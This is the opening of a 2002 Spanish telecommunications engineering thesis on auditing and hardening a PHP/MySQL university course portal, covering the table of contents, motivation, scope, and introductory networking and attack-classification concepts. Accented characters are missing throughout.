Proyecto de Fin de Carrera

Universidad de Sevilla
Escuela Superior de Ingenieros
PROYECTO FIN DE CARRERA
Ingeniera de Telecomunicacin
Ttulo: Anlisis de seguridad, optimizacin y mejora de un

portal web basado en PHP y MySQL.
Autor: Romn Medina-Heigl Hernndez

Tutor: Federico Jos Barrero Garca
Sevilla, Diciembre de 2002
A Isabela y toda mi familia
Contenido
CONTENIDO
Captulo 1..................................................................................................................... 1
Introduccin ................................................................................................................. 1
1.
Antecedentes........................................................................................................ 1
2.
Motivacin y justificacin. .................................................................................. 2
3.
Alcance y objetivo. .............................................................................................. 6
Captulo 2..................................................................................................................... 9
Fundamentos de seguridad en la web .......................................................................... 9
1.
Introduccin. ........................................................................................................ 9
2.
Nociones y terminologa.................................................................................... 10
2.1.
Introduccin al lenguaje de redes y TCP/IP. ............................................. 10
2.2.
Nociones de seguridad. .............................................................................. 12
2.2.1.
Clasificacin de los ataques............................................................... 12
2.2.2.
Fases de un ataque. ............................................................................ 14
2.2.3.
Niveles de seguridad.......................................................................... 16
2.2.4.
La poltica de seguridad..................................................................... 17
2.2.5.
Adquisicin de informacin............................................................... 18
2.2.6.
Tcnicas de explotacin ms comunes: los buffer overflow.......... 21
2.2.7.
Contramedidas de seguridad.............................................................. 25
iii
Contenido
3.
Ataques comunes en la WWW. ......................................................................... 27

3.1.
Inyeccin de sentencias SQL..................................................................... 27
3.1.1.
Fundamento. ...................................................................................... 27
3.1.2.
Algunos ejemplos de explotacin. ..................................................... 30
3.1.3.
Solucin. ............................................................................................ 32
3.2.
Cross Site Scripting (XSS). ....................................................................... 34
3.2.1.
Fundamentos...................................................................................... 34
3.2.2.
Ejemplos de cadenas peligrosas que pueden ser inyectadas.............. 37
3.2.3.
Solucin. ............................................................................................ 38
3.3.
Vulnerabilidades en scripts CGI escritos en Perl....................................... 39
3.3.1.
Poison NULL byte. ........................................................................ 39
3.3.2.
Ejecucin de comandos con |. ........................................................ 41
3.4.
3.5.
3.6.
3.7.
3.8.
4.
Abuso de register_globals en PHP. ........................................................ 42

Directory Traversal. ................................................................................... 43
Metacaracteres del shell............................................................................. 46
Vulnerabilidades en el servidor web Apache. ........................................... 47
Las diez vulnerabilidades ms comunes.................................................... 50
Herramientas tiles. ........................................................................................... 52

4.1.
4.2.
4.3.
4.4.
4.5.
Nmap.......................................................................................................... 53
Proxomitron. .............................................................................................. 54
Tcpdump. ................................................................................................... 55
CommView................................................................................................ 56
Retina. ........................................................................................................ 58
Captulo 3................................................................................................................... 59
Anlisis de seguridad de un sitio web real................................................................. 59
1.
Introduccin. ...................................................................................................... 59
2.
Escenario............................................................................................................ 59
3.
Anlisis de seguridad. ........................................................................................ 66

3.1.
Anlisis de seguridad del servidor MySQL y bases de datos asociadas.... 67
3.1.1.
Vulnerabilidades encontradas. ........................................................... 67
3.1.2.
Detalle de vulnerabilidades, soluciones propuestas y recomendac. .. 67
3.1.2.1.
Ausencia de permisos y usuarios en la base de datos. ................... 67
3.1.2.2.
El servidor MySQL es visible desde otras mquinas de la LAN... 68
3.1.3.
Conclusiones...................................................................................... 68
iv
Contenido
3.2.
Anlisis de seguridad de la Aplicacin propiamente dicha. ...................... 68
3.2.1.
Vulnerabilidades encontradas. ........................................................... 69
3.2.2.
3.2.2.1.
Validacin de entrada de usuario insuficiente. .............................. 69
3.2.2.2.
Susceptibilidad a ataques de inyeccin SQL. ................................ 71
3.2.2.3.
Contraseas de alumnos dbiles en el servicio de encuesta....... 72
3.2.2.4.
Revelacin de informacin sensible a travs de ficheros.. ............ 73
3.2.2.5.
Posible inyeccin de etiquetas HTML y JavaScript. ..................... 74
3.2.2.6.
Falsa sensacin de seguridad en la herramienta de admin............. 75
3.2.3.
Conclusiones...................................................................................... 76
3.3.
Anlisis de seguridad de los servidores web. ............................................ 77
3.3.1.
Vulnerabilidades encontradas en apache........................................ 78
3.3.2.
3.3.2.1.
Versiones de software servidor Apache y PHP anticuadas. .......... 79
3.3.2.2.
Servicio SSH anticuado. ................................................................ 79
3.3.2.3.
Apache permite listar directorios web sin index. ....................... 79
3.3.2.4.
Servicios innecesarios en apache. .............................................. 81
3.3.3.
Conclusiones...................................................................................... 82
4.
Conclusiones...................................................................................................... 83
Captulo 4................................................................................................................... 84
Soluciones y mejoras implementadas ........................................................................ 84
1.
Introduccin. ...................................................................................................... 84
2.
Objetivos............................................................................................................ 85
3.
Implementaciones. ............................................................................................. 86
3.1.
Poltica de seguridad en bases de datos y servidor MySQL. ..................... 86
3.1.1.
Justificacin. ...................................................................................... 86
3.1.2.
Modelo propuesto. ............................................................................. 86
3.1.3.
Implementacin. ................................................................................ 88
3.1.4.
Mejoras conseguidas.......................................................................... 89
3.2.
Sistema de usuarios y autentificacin........................................................ 89
3.2.1.
Justificacin. ...................................................................................... 90
3.2.2.
Criterios de diseo. ............................................................................ 90
3.2.3.
Modelo propuesto. ............................................................................. 91
3.2.4.
El problema de la integridad de la autentificacin. ........................... 93
3.2.4.1.
Autentificacin basada en Apache................................................. 93
3.2.4.2.
Autentificacin basada en Apache con mdulo acceso MySQL... 94
3.2.4.3.
Autentificacin basada nicamente en cdigo PHP. ..................... 96
Contenido
3.2.5.
El problema de la cach de datos de usuario.................................. 98
3.2.6.
El sistema de privilegios. ................................................................. 100
3.2.7.
Implementacin. .............................................................................. 104
3.2.7.1.
Especificaciones de la base de datos............................................ 104
3.2.7.2.
Especificaciones y notas referentes al cdigo implementado...... 106
3.3.
Protecciones contra SQL-inject y Cross Site Scripting. ................... 107
3.3.1.
Justificacin. .................................................................................... 107
3.3.2.
Implementacin. .............................................................................. 108
3.3.2.1.
Tcnica basada en regexp......................................................... 108
3.3.2.2.
Tcnica de proteccin genrica contra injecting. ................... 111
3.4.
Herramienta de administracin y gestin del portal. ............................... 117
3.4.1.
Justificacin. .................................................................................... 117
3.4.2.
Mejoras implementadas. .................................................................. 117
3.5.
El archivo de configuracin config.php. .............................................. 121
3.6.
Especificaciones de la base de datos........................................................ 123
3.6.1.
Modificacin de la nomenclatura de las bases de datos. ................. 123
3.6.2.
Otras modificaciones. ...................................................................... 125
3.7.
Fortaleza de las contraseas empleadas................................................... 126
3.7.1.
Seguridad de las contraseas almacenadas en la bd de usuarios. .... 127
3.8.
Otros problemas solucionados. ................................................................ 130
3.8.1.
Conversiones de URL...................................................................... 132
4.
Mejoras propuestas. ......................................................................................... 137
Captulo 5................................................................................................................. 139

Conclusiones y futuro trabajo .................................................................................. 139
1.
Conclusiones.................................................................................................... 139
2.
Futuras lneas de trabajo. ................................................................................. 145
Apndice A .............................................................................................................. 147

Instalacin y config. de un entorno seguro basado en Apache / PHP / MySQL ..... 147
1.
Objetivos.......................................................................................................... 147
2.
Requisitos......................................................................................................... 149
vi
Contenido
3.
Apache. ............................................................................................................ 150
4.
PHP. ................................................................................................................. 150
5.
MySQL. ........................................................................................................... 152
6.
Listado del fichero httpd.conf de Apache.................................................... 152
7.
Listado del fichero php.ini de PHP. ............................................................ 168
Apndice B .............................................................................................................. 181

Seguridad bsica en bases de datos MySQL ........................................................... 181
1.
Introduccin. .................................................................................................... 181
2.
Las tablas de privilegios de MySQL................................................................ 182
3.
Operaciones bsicas con MySQL. ................................................................... 183

3.1.
3.2.
3.3.
4.
mysqladmin.............................................................................................. 183
mysql........................................................................................................ 186
Cambio de contrasea de administrador.................................................. 187
Modificando permisos en MySQL. ................................................................. 187

4.1.
4.2.
El comando grant. ................................................................................ 188

El comando revoke............................................................................... 189
5.
Copias de seguridad en MySQL. ..................................................................... 190
6.
Conclusiones.................................................................................................... 193
Apndice C .............................................................................................................. 194

Exploit para la vulnerabilidad de validacin insuficiente........................................ 194
1.
Introduccin. .................................................................................................... 194
2.
Descripcin del funcionamiento. ..................................................................... 194
3.
Exploit.............................................................................................................. 196
vii
Contenido
Apndice D .............................................................................................................. 197

Reporte de vulnerabilidades generado con el software Retina ................................ 197
1.
Introduccin. .................................................................................................... 197
2.
Reporte de seguridad realizado con Retina contra el servidor woody. ........ 198
Apndice E............................................................................................................... 215

Especificaciones de la base de datos........................................................................ 215
1.
Introduccin. .................................................................................................... 215
2.
Volcado de bases de datos correspondientes a CSED. .................................... 215
Apndice F............................................................................................................... 234

Cdigo del portal implementado.............................................................................. 234
1.
Introduccin. .................................................................................................... 234
2.
Cdigo.............................................................................................................. 234
2.1.
2.2.
2.3.
2.4.
2.5.
2.6.
2.7.
2.8.
2.9.
2.10.
2.11.
2.12.
2.13.
2.14.
2.15.
2.16.
2.17.
2.18.
2.19.
2.20.
2.21.
/config/config.php.................................................................................... 234
/download/index.php................................................................................ 238
/admin/acceso_cuestionario.php .............................................................. 239
/admin/acceso_dudas.php ........................................................................ 242
/admin/acceso_encuesta.php.................................................................... 244
/admin/acceso_monitores.php.................................................................. 247
/admin/acceso_notas.php ......................................................................... 250
/admin/acceso_noticias.php ..................................................................... 253
/admin/admin_cuestionario.php............................................................... 256
/admin/admin_dudas.php..................................................................... 258
/admin/admin_encuesta.php ................................................................ 259
/admin/admin_monitores.php .............................................................. 261
/admin/admin_notas.php...................................................................... 262
/admin/admin_noticias.php.................................................................. 264
/admin/borrar_cuestion.php ................................................................. 266
/admin/borrar_duda.php....................................................................... 267
/admin/borrar_encuesta_prof.php ........................................................ 268
/admin/borrar_monitor.php.................................................................. 269
/admin/borrar_nota.php........................................................................ 270
/admin/borrar_noticia.php.................................................................... 271
/admin/borrar_todas.php ...................................................................... 272
viii
Contenido
2.22.
2.23.
2.24.
2.25.
2.26.
2.27.
2.28.
2.29.
2.30.
2.31.
2.32.
2.33.
2.34.
2.35.
2.36.
2.37.
2.38.
2.39.
2.40.
2.41.
2.42.
2.43.
2.44.
2.45.
2.46.
2.47.
2.48.
2.49.
2.50.
2.51.
2.52.
2.53.
2.54.
2.55.
2.56.
2.57.
2.58.
2.59.
/admin/borrar_todas_cuestiones.php ................................................... 273

/admin/borrar_todas_encuestas.php..................................................... 274
/admin/borrar_todas_notas.php............................................................ 274
/admin/borrar_todas_noticias.php........................................................ 275
/admin/borrar_todos_monitores.php.................................................... 276
/admin/chpass.php................................................................................ 277
/admin/crear_estadisticas.php .............................................................. 280
/admin/editar_cuestion.php.................................................................. 283
/admin/editar_datos_notas.php ............................................................ 285
/admin/editar_duda.php ....................................................................... 286
/admin/editar_monitor.php .................................................................. 288
/admin/editar_nota.php ........................................................................ 289
/admin/editar_noticia.php .................................................................... 290
/admin/importar_notas.php .................................................................. 292
/admin/importar_usuarios.php ............................................................. 293
/admin/index.php ................................................................................. 295
/admin/insertar_cuestion.php............................................................... 297
/admin/insertar_duda.php .................................................................... 299
/admin/insertar_monitor.php................................................................ 300
/admin/insertar_nota.php ..................................................................... 301
/admin/insertar_noticia.php ................................................................. 302
/admin/logout.php ................................................................................ 303
/admin/usuarios.php............................................................................. 304
/autoevaluacion/autoevaluacion.php.................................................... 324
/autoevaluacion/solucion.php .............................................................. 327
/dudas/consultadudas.php .................................................................... 328
/dudas/tabladudas.php.......................................................................... 330
/encuesta/encuesta.php......................................................................... 332
/encuesta/tomadatos.php ...................................................................... 336
/login/login.php.................................................................................... 338
/msg/err_db_connection.html .............................................................. 341
/msg/err_noprivs.php ........................................................................... 341
/notas/notas.php ................................................................................... 342
/notas/notas_np.php ............................................................................. 344
/noticias/consultanoticias.php .............................................................. 344
/noticias/noticias.php ........................................................................... 346
/index.html ........................................................................................... 347
/temario.html........................................................................................ 351
ix
Contenido
Bibliografa .............................................................................................................. 357

1.
Libros. .............................................................................................................. 357
2.
Documentos y recursos en la Red.................................................................... 358
Captulo 1. Introduccin
Captulo 1
Introduccin
1. Antecedentes.
El Proyecto Fin de Carrera culmina y completa una larga y ardua etapa de
estudios y formacin de todo Ingeniero de Telecomunicacin.
Con la realizacin del mismo, el autor pretende poner de manifiesto
capacidades y aptitudes que ha obtenido e ido puliendo a lo largo de la carrera, tales
como su capacidad de anlisis y sntesis, y sobre todo la de resolver problemas
prcticos de una forma rpida, eficaz y profesional.
Asimismo se pretende dar rienda suelta a la creatividad del alumno. De esta
forma el Proyecto gozar de una especial frescura y, en muchos casos, de ideas
innovadoras.
Las labores de apoyo, seguimiento y, en resumidas cuentas,
de ayuda,
plasmadas en la figura del director o tutor de proyecto, no deben ser tampoco

olvidadas. Fruto de esta interactividad, el alumno desarrollar, an ms si cabe,
Pg. 1
aspectos tan importantes (y muy valorados en el panorama profesional) como pueden

ser la comunicacin o la facilidad de trabajo en grupo.
Por ltimo, cabe destacar la gran labor de investigacin y documentacin que
la realizacin de un proyecto conlleva. Como resultado, el alumno adquirir nuevos
conocimientos, o bien tendr la oportunidad de profundizar en temticas previamente
conocidas por el mismo.
2. Motivacin y justificacin.
Con el amplio desarrollo de las Tecnologas de la Informacin y de las
Telecomunicaciones en general, Internet se ha consolidado como un medio de
comunicacin e intercambio de datos masivo, cada vez ms til y prspero, y a la vez
accesible a un gran (y creciente) nmero de personas. La informacin fluye
libremente de un continente a otro en dcimas de segundo con un solo clic de ratn.
Todos se benefician de este hecho: empresas y particulares, entidades
gubernamentales, docentes o de investigacin, asociaciones con o sin nimo de lucro,
etc.
Cuando, a mediados de los aos 70, naci Arpanet1, precursora de la actual
Internet, el principal objetivo que se buscaba era desarrollar una serie de protocolos y
estndares que sirvieran de base para establecer una infraestructura de
comunicaciones entre mquinas remotas. En principio se cre en un mbito muy
restringido y principalmente orientado a fines militares. De esta forma la seguridad
Arpanet fue la primera gran red, creada en los Estados Unidos, con fondos de la Agencia de
Proyectos de Investigacin Avanzada (ARPA, por sus siglas en ingls).
Pg. 2
de las comunicaciones estaba ms o menos garantizada debido a que pocas

personas tenan acceso fsico a la red.
Hoy en da se puede decir que Internet es de pblico acceso. Cualquiera con
un ordenador y unos mnimos conocimientos puede conectarse a la Red de Redes y
tener acceso a un ordenador remoto ubicado en la otra punta del planeta y que, quizs
contenga informacin privilegiada y no destinada al pblico en general.
Dependiendo del tipo de informacin y grado de confidencialidad buscado, se
hace necesario pues, controlar de alguna forma el flujo de informacin: asegurarnos
de que slo reciba la informacin quien nosotros deseemos (y nadie ms),
autentificar tambin al emisor de la informacin (para evitar que un impostor nos
pueda enviar una informacin errnea, hacindose pasar por otra persona) y en
definitiva, proteger la informacin de posibles intrusos.
En resumidas cuentas, se trata de controlar el acceso a cierta informacin que,
segn qu casos, puede resultar privilegiada, privada o confidencial.
Un hipottico atacante podra robar la informacin en distintos puntos.
Podra, por ejemplo, aprovechar el momento en el que se est produciendo el
trasvase o flujo de informacin de un punto a otro e intervenirla en un punto
intermedio, haciendo el papel de un observador pasivo, sin que ninguno de los dos
extremos acuse esta accin de espionaje.
Tambin podra haberse decidido por atacar directamente a la fuente de
informacin, o bien al destinatario de la misma; en ambos casos se tratar
normalmente de una mquina o servidor. Si el atacante consigue acceso (aunque sea
no autorizado) a dicha mquina, podr leer toda la informacin all contenida.
Pg. 3
Aunque muy por encima, ambos casos caracterizan y resumen a un campo

que denominaremos Seguridad Informtica. Se trata de una disciplina o sector,
ahora en auge, cuyo principal fin es garantizar que cierta informacin sensible (por
ejemplo, nmeros de tarjetas de crdito) no caiga en manos indeseables. Por supuesto
que este campo abarca realmente mucho ms. Sirva lo anterior como
primera
aproximacin.
Con el avance de ciertos campos, todava en una fase bastante primitiva de
expansin, como el e-commerce (comercio electrnico), la seguridad cobra an
ms importancia. En Internet, una persona es un nmero ms (comnmente una
direccin IP). Existe pues un alto grado de impersonalidad. Esto facilita la labor de
un posible atacante, quien con unos conocimientos tcnicos no necesariamente
demasiado amplios, y si no anteponemos los medios y barreras necesarios, podr
pasearse a sus anchas y de forma annima por los ordenadores de nuestra empresa o
entidad. Si se tratase, por poner un ejemplo, de un banco, las consecuencias podran
ser fatales: podramos pasar de un simple robo de informacin al robo de cuantiosas
cantidades de dinero.
Sin embargo, no hace falta llegar a estos extremos. Cualquier intrusin en un
sistema conlleva prdidas econmicas, aunque slo sea en trminos de horas de
trabajo que le llevar a un tcnico, el cual tendr que evaluar y reparar los posibles
daos causados. Naturalmente en funcin de la importancia de la informacin
contenida en la mquina comprometida, estos costes sern de un orden de magnitud
mayor o menor.
Es tal la importancia de la seguridad que sta es exigible por ley. En Espaa,
la LOPD (Ley Orgnica de Proteccin de Datos) establece distintas categoras
teniendo en cuenta diversos factores, entre ellos el tipo de datos almacenados, y
obliga a tomar distintas medidas que garanticen la seguridad en los distintos
dispositivos de almacenamiento o mquinas en cuestin, castigando con fuertes
Pg. 4
sanciones o multas a las empresas que las incumplan. De esta forma, informacin
sensible, como grandes bases de datos de clientes o la propia contabilidad de la
empresa, mantendr un grado de confidencialidad apropiado, fuera del alcance de un
intruso cualquiera.
A menudo, las empresas no invierten en seguridad hasta que no se ven
envueltas en algn desastre o simplemente le ocurre algo como lo comentado
anteriormente. La labor de la persona o departamento encargado de la seguridad
informtica de una empresa suele pasar desapercibida: si ste realiza bien su trabajo
simplemente no ocurrir nada. Pero si ste deja algn agujero de seguridad, tarde o
temprano alguien lo encontrar y podr usarlo en su propio beneficio, en detrimento
de los intereses de la empresa o entidad en cuestin.
En un mundo cada vez ms informatizado, en un entorno hostil -como puede
ser Internet- y cada vez ms comercial, en una red cada vez ms accesible al pblico
en general, la seguridad informtica es de vital importancia. La justificacin de un
proyecto como el que nos ocupa resulta evidente.
El presente Proyecto Fin de Carrera pretende ilustrar los conceptos ms
importantes de esta vital disciplina. Estudiaremos los problemas de seguridad y
ataques ms comunes as como la forma de abordarlos y solucionarlos. En particular,
nos centraremos en la seguridad de sitios web. Veremos cmo simples errores de
programacin se pueden convertir en graves problemas de seguridad.
Culminaremos nuestro estudio terico con un caso prctico: aplicaremos los
conocimientos y conceptos presentados en la realizacin del anlisis de la seguridad
de un portal web, proponiendo mejoras e incluso implementando alguna de ellas.
Es motivacin suficiente para m el atractivo intelectual que supone el
estudiar cmo funcionan internamente los mecanismos de seguridad utilizados en la
Pg. 5
Red, saber cmo romperlos y por ltimo (y no por ello menos importante), tener la
capacidad de mejorarlos.
3. Alcance y objetivo.
El alcance de este proyecto, eminentemente terico pero que ser convenientemente ilustrado con la inclusin de una completa auditora de seguridad a un
portal web y posterior implementacin software de la gran mayora de las mejoras
propuestas, comprende los siguientes puntos:
Establecimiento de las distintas bases, nociones y terminologa sobre las

que reposa el campo de la Seguridad Informtica. En particular, se har
hincapi en aquellos aspectos ms relacionados con la seguridad de sitios
web, y trataremos muy de pasada otras reas, como la criptogrfica, que
por su extensin y complejidad bien podra dar lugar a uno o varios
proyectos diferentes (an as se tendr en cuenta para la parte prctica, es
decir, no se obviarn los aspectos criptogrficos en la auditora de
seguridad que se llevar a cabo ms adelante). Por desgracia, deberemos
excluir de nuestro estudio reas interesantes -pero a la vez muy
particulares- como la del anlisis forense2. Estas ltimas quedan fuera del
alcance de nuestro proyecto.
Descripcin de las distintas tcnicas y formas de ataque que se podran

emplear en el asalto a un sitio web as como de las vulnerabilidades ms
tpicas.
Cmo defendernos ante los casos anteriormente descritos, y en general,

marcar ciertas pautas que ayudarn a mejorar la seguridad de un sitio web.
El anlisis forense engloba a un conjunto de tcnicas utilizadas con el fin de obtener informacin
de un sistema que ha sido comprometido: huellas que dej el atacante, cmo lo hizo y qu pasos se
llevaron a cabo durante la intrusin, recuperacin de ficheros que fueron borrados, etc.
Pg. 6
Enumeracin de algunas de las muchas herramientas existentes,

empleadas en Seguridad, tiles tanto para un atacante como para el propio
consultor de seguridad.
Anlisis o auditora de seguridad de las pginas web de Federico Jos

Barrero Garca, entre las que se incluye un par de portales web, de
caractersticas similares, asociados a diferentes asignaturas impartidas en
la Escuela Superior de Ingenieros en Sevilla. Dichos portales estn
basados en PHP y MySQL, sobre servidor Apache, y ofrecen servicios a
los alumnos que estn cursando las asignaturas en cuestin, tales como:
Sistema automtico de autoevaluacin para el alumno,
accesible desde la Web. Esta aplicacin es capaz de crear
un cuestionario de autoevaluacin, sobre la base de una
serie de preguntas, mostrarlo al cliente en una pgina web
y recibir de nuevo dicho cuestionario para que ste sea
procesado. Dicho procesado determinar el nmero de
respuestas
correctas
que
hubo
y devolver
dicha
informacin al cliente para que ste tenga constancia de

ello. El sistema permite la actualizacin de la informacin
de una forma muy fcil e intuitiva, para que el profesor
pueda mantenerla sin dificultad.
Sistema de gestin y actualizacin del tabln de dudas,
lugar donde se recogern las dudas ms frecuentes de los
estudiantes y la correspondiente respuesta que haya dado el
profesor.
Pg. 7
Sistema de recogida y evaluacin de una encuesta de

calidad, acerca de todos los aspectos docentes de la
asignatura, de forma que slo tienen acceso a realizarla los
alumnos matriculados en la asignatura.
Desarrollo e implementacin software de los cambios que se estimen

convenientes para mejorar la seguridad de los portales web previamente
auditados, as como de otras mejoras de diversa ndole que redundarn en
beneficio del propio portal.
Al trmino de la lectura de este proyecto, el lector habr obtenido:

Una panormica lo suficientemente amplia sobre las distintas reas
que conforman el amplio campo de la Seguridad Informtica as como
nociones y conceptos necesarios para una adecuada comprensin.
Una cierta habilidad en la bsqueda de vulnerabilidades.
Ideas que, como desarrollador de software, le permitirn escribir
cdigo ms seguro. Habr aprendido ciertos fallos tpicos de
programacin que afectan a la seguridad y podr evitarlos. Las
aplicaciones que desarrolle sern ms robustas.
Pg. 8
Captulo 2. Fundamentos de seguridad en la web
Captulo 2
Fundamentos de seguridad en la web
1. Introduccin.
Presentaremos en este captulo las nociones de seguridad y otros conceptos
necesarios para una buena comprensin del anlisis de seguridad que llevaremos a
cabo sobre el portal web, y que presentaremos en el siguiente captulo.
El sector de la seguridad informtica es muy amplio, y abarca muchos y
diversos campos. Podramos escribir libros y libros sobre el tema, pero como es
natural no lo haremos; necesitamos centrar nuestros objetivos. Colocaremos nuestro
punto de mira sobre el tema de la seguridad en servidores web, e intentaremos no
desviarlo demasiado, salvo en situaciones especiales que requieran dar una visin
ms global de ciertos conceptos que contribuyan a un mejor entendimiento de otros
puntos explicados con anterioridad.
Una vez ledo este captulo, el lector ser conocedor de algunas de las
tcnicas ms comunes de explotacin de agujeros de seguridad va web, y quin
sabe, lo mismo le pica el gusanillo y se acaba convirtiendo en aprendiz de hacker.
Pg. 9
2. Nociones y terminologa.
2.1.
Introduccin al lenguaje de redes y TCP/IP.

Supongamos el siguiente escenario: dos ordenadores, ubicados probablemente
en lugares diferentes, y ambos con conexin a Internet. El primero de ellos tendr

unas caractersticas (potencia de procesador apreciable, gran cantidad de memoria y
espacio de disco duro, fuentes de alimentacin redundantes, tc.) ms que aceptables,
lo que lo convierten en candidato perfecto para ser usado como fuente permanente de
informacin en Internet; en otras palabras, actuar de servidor de informacin. El
segundo ordenador tendr caractersticas ms modestas y un precio ms asequible;
ser la mquina perfecta para un usuario final. ste usar dicho ordenador como
herramienta de trabajo para conectarse a Internet y tener acceso a la gran cantidad de
informacin que la Red de Redes le ofrece, y en particular, a la mquina servidora
que describimos anteriormente. Habitualmente nos referiremos al ordenador del
usuario final como la mquina cliente, y su funcin ser la de permitirnos acceder
a los servicios que Internet le ofrece.
En la terminologa de Internet, cualquier ordenador conectado a la Red recibe
el nombre de host. Nosotros nos referiremos tambin habitualmente a cualquiera
de ellos como mquina, trmino un tanto coloquial pero que agrada al autor por su
claridad y simplicidad. Ya hemos explicado tambin la principal diferencia existente
entre una mquina cliente (o host cliente) y una mquina servidora (host
servidor o simplemente, servidor).
Para que una mquina servidora sea tal, sta debe ofrecer servicios (ej:
servicio web, servicio de transferencia de ficheros, servicio de correo, tc.). Cada uno
de estos servicios es implementado mediante diferente software especfico al que
Pg. 10
llamaremos software servidor1. As pues, tenemos distintos servidores web2

como Apache, IIS o iPlanet (nosotros usaremos el primero, por ser uno de los
ms potentes y ampliamente extendidos, adems de ser gratuito).
Internet se rige por un conjunto de protocolos, conocidos genricamente con el
nombre de TCP/IP, siendo verdaderamente el protocolo IP3 el que ofrece los
pilares de comunicacin (similar a la capa de red o nivel 3 de OSI), sobre los que
subyacern los protocolos de la capa de transporte (equivalente al nivel 4 de OSI)
como TCP4 o UDP5, u otros como ICMP6.
Tanto TCP como UDP permiten establecer varias comunicaciones entre un
mismo origen y destino. Para diferenciarlas unvocamente nace el concepto de
puerto, que no es otra cosa que un nmero identificador de 16 bits, y que puede
ser definido tanto en origen como destino (por tanto, tendremos los conceptos de
puerto origen y puerto destino, respectivamente). De esta forma, una
comunicacin cualquiera, ya sea TCP o UDP, queda inequvocamente identificada
por el conjunto de valores IP origen, puerto origen, IP destino, puerto destino).
De igual forma, un servicio en particular que se est ejecutando sobre una mquina
se corresponder con uno o varios puertos de dicha mquina. Por ejemplo, el servicio
web normalmente se encuentra asignado al puerto 80 de la mquina servidora,
1
A menudo simplificaremos esta notacin llamndolo servidor a secas. Por tanto, este ltimo
trmino puede resultar ambiguo. Distinguiremos su significado por el contexto.
2
Ntese de nuevo la ambigedad. En este caso, nos estamos refiriendo al software servidor web, y
no a la mquina servidora web que ejecuta dicho software. A pesar de todo, ambos conceptos estn
ntimamente ligados.
3
IP: Internet Protocol. Protocolo estndar que define a los datagramas (o paquetes) IP como la
unidad de informacin que pasa a travs de una red de redes y proporciona las bases para el servicio
de entrega de paquetes sin conexin y con el mejor esfuerzo. Incluye ICMP como parte integral.
4
TCP: Transmission Control Protocol. Protocolo orientado a conexin (antes de transmitir datos,
los participantes deben establecer la conexin) que proporciona un servicio de flujo de datos confiable
y full-duplex. Ampliamente utilizado en servicios como web o correo, slo por nombrar algunos.
5
UDP: User Datagram Protocol. Protocolo no orientado a conexin utilizado para el envo de
datagramas hacia el programa de aplicacin en otra mquina. Conceptualmente, la diferencia
importante entre los datagramas UDP y los paquetes IP es que el UDP incluye un nmero de puerto de
protocolo, lo que permite al emisor distinguir entre varios programas de aplicacin en una mquina
remota dada.
6
ICMP: Internet Control Message Protocol. Parte integral del protocolo de Internet (IP) que
resuelve errores mediante el uso de mensajes de control.
Pg. 11
aunque a veces usa adems otros puertos (como el 443, para conexiones web
encriptadas mediante SSL).
Existen para los diferentes servicios protocolos que han sido estandarizados.
Por ejemplo, para el servicio web el protocolo utilizado es conocido como HTTP7.
Estos protocolos corresponden al nivel de aplicacin (nivel 5 del modelo de
referencia TCP/IP8).
2.2.
Nociones de seguridad.
Volviendo al escenario descrito al comienzo del apartado anterior,
supongamos que el servidor web va a ser el objetivo de un hacker9 o cracker10.

Llamaremos a dicho servidor vctima del ataque, mientras que el hacker en
cuestin ser el atacante o intruso11.
2.2.1. Clasificacin de los ataques.

El tipo de ataque que se realizar sobre la vctima depende de diversos
factores, tales como el fin que persigue el atacante (es posible que busque obtener
HTTP: HyperText Transfer Protocol. La ltima versin (1.1) se define en el RFC 2616.
En realidad, cuando anteriormente hemos hecho referencia al modelo OSI no hemos sido del todo
rigurosos. En el mundo TCP/IP, el modelo OSI no debe ser aplicado; en su lugar, debemos hacer uso
del modelo de referencia TCP/IP. A pesar de algunas similitudes, el modelo OSI consta de 7 capas o
niveles mientras que el modelo de referencia TCP/IP prescinde de dos de ellas, quedando slo en 5.
9
Hacker: persona especialmente habilidosa, tcnicamente muy capaz (definicin genrica). En el
campo de la seguridad se denomina as a la persona que es capaz de romper la seguridad de un
sistema, normalmente con el nico propsito de aprender o por la mera satisfaccin personal e
intelectual.
10
Cracker: hacker malicioso. Normalmente busca sacar algn tipo de provecho de la intrusin o del
propio servidor vulnerado.
11
El trmino intruso tiene connotaciones que implican un cierto xito del atacante. No obstante, a lo
largo de este documento usaremos indistintamente los trminos atacante e intruso.
8
Pg. 12
acceso al sistema, o simplemente quiera sabotear o inutilizar un servicio) o el grado

de privilegios necesarios para poder lanzar dicho ataque.
Atendiendo a este ltimo concepto (el mbito del ataque o grado de privilegios
necesarios para lanzarlo), podemos clasificar un ataque como:
-
local: se lanza desde dentro del propio sistema vctima. Es requisito

indispensable gozar de acceso (normalmente no privilegiado) en el
servidor (ya sea, porque disponemos de una cuenta en el sistema, o bien
hemos logrado el acceso mediante otro ataque -remoto- previo). El
objetivo comnmente perseguido es la elevacin de privilegios.
remoto: no se requiere acceso previo a la mquina vctima. Es el ms

peligroso. Es usual utilizar este tipo de ataque como paso previo a un
ataque de mbito local, aunque a menudo este segundo paso no es
necesario.
Otra clasificacin posible, segn sea la finalidad perseguida por el atacante,

podra ser la siguiente:
-
Ataque de denegacin de servicio o DoS12: no se persigue conseguir

ningn tipo de acceso al servidor vctima sino simplemente se desea
evitar que deje de dar servicio o al menos, degradar el servicio que hasta
ahora vena ofreciendo. Los ataques de este tipo son muy variados. Por
nombrar alguno, recordemos el mtico ataque conocido como SynFlood13.
12
DoS son las siglas de Denial of Service.

Syn-Flood: ataque consistente en inundar un puerto TCP de la mquina vctima con paquetes TCP
que tiene el flag syn activado. Este tipo de paquetes se usa para iniciar una conexin TCP, y como
resultado, el host destino debe responder aceptando o no dicha conexin. En caso de aceptar, el host
origen debe enviar un tercer y ltimo paquete para que la conexin TCP sea finalmente establecida. El
ataque consiste en enviar el primer paquete, pero no el tercero, de forma que el servidor se queda
esperando un paquete que debera cerrar el proceso de establecimiento de conexin y que nunca
llegar, y mientras tanto, se est ocupando recursos en el sistema vctima. Dado que el nmero de
13
Pg. 13
Ataque de consecucin de acceso: este ataque busca obtener unos

mnimos privilegios de acceso en el servidor vctima. Se trata pues de un
ataque de tipo remoto que suele ser lanzado justo antes de otro del tipo
que seguidamente veremos.
Ataque de elevacin de privilegios: como su nombre indica, el atacante

intentar aumentar el grado de privilegios que mantiene en el sistema. El
objetivo usual de este tipo de ataques es llegar a obtener privilegios de
Administrador, en sistemas Windows, o de root, en entornos Unix.
2.2.2. Fases de un ataque.

Un ataque se llevar a cabo en cuatro fases bien diferenciadas:
i.
Fase de adquisicin y reunin de informacin.
ii.
Acceso inicial al sistema.
iii.
Escalada de privilegios.
iv.
Ocultacin del rastro y posible instalacin de puertas traseras.
